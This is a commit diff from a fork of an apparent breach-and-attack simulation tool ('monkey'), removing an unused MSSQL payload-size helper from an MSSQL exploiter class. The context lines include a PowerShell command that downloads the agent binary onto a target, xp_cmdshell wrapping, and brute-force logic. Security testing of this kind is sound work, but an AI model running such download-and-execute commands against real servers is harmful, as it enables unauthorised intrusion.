forked from p15670423/monkey
Agent: Remove disused MSSQLLimitedSizePayload
This commit is contained in:
parent
0e2a63b6ac
commit
a54eca96ba
|
@ -9,7 +9,6 @@ from common.utils.exceptions import FailedExploitationError
|
|||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_agent_dst_path
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
|
||||
from infection_monkey.i_puppet import ExploiterResultData
|
||||
from infection_monkey.model import DROPPER_ARG
|
||||
from infection_monkey.transport import LockedHTTPServer
|
||||
|
@ -32,10 +31,6 @@ class MSSQLExploiter(HostExploiter):
|
|||
TMP_FILE_NAME = "tmp_monkey.bat"
|
||||
TMP_DIR_PATH = PureWindowsPath("%temp%") / "tmp_monkey_dir"
|
||||
|
||||
MAX_XP_CMDSHELL_COMMAND_SIZE = 12800
|
||||
|
||||
XP_CMDSHELL_COMMAND_START = "xp_cmdshell '"
|
||||
XP_CMDSHELL_COMMAND_END = "'"
|
||||
MONKEY_DOWNLOAD_COMMAND = (
|
||||
"powershell (new-object System.Net.WebClient)."
|
||||
"DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
|
||||
|
@ -216,13 +211,3 @@ class MSSQLExploiter(HostExploiter):
|
|||
raise FailedExploitationError(
|
||||
"Bruteforce process failed on host: {0}".format(self.host.ip_addr)
|
||||
)
|
||||
|
||||
|
||||
class MSSQLLimitedSizePayload(LimitedSizePayload):
|
||||
def __init__(self, command, prefix="", suffix=""):
|
||||
super(MSSQLLimitedSizePayload, self).__init__(
|
||||
command=command,
|
||||
max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
|
||||
prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START + prefix,
|
||||
suffix=suffix + MSSQLExploiter.XP_CMDSHELL_COMMAND_END,
|
||||
)
|
||||
|
|
Loading…
Reference in New Issue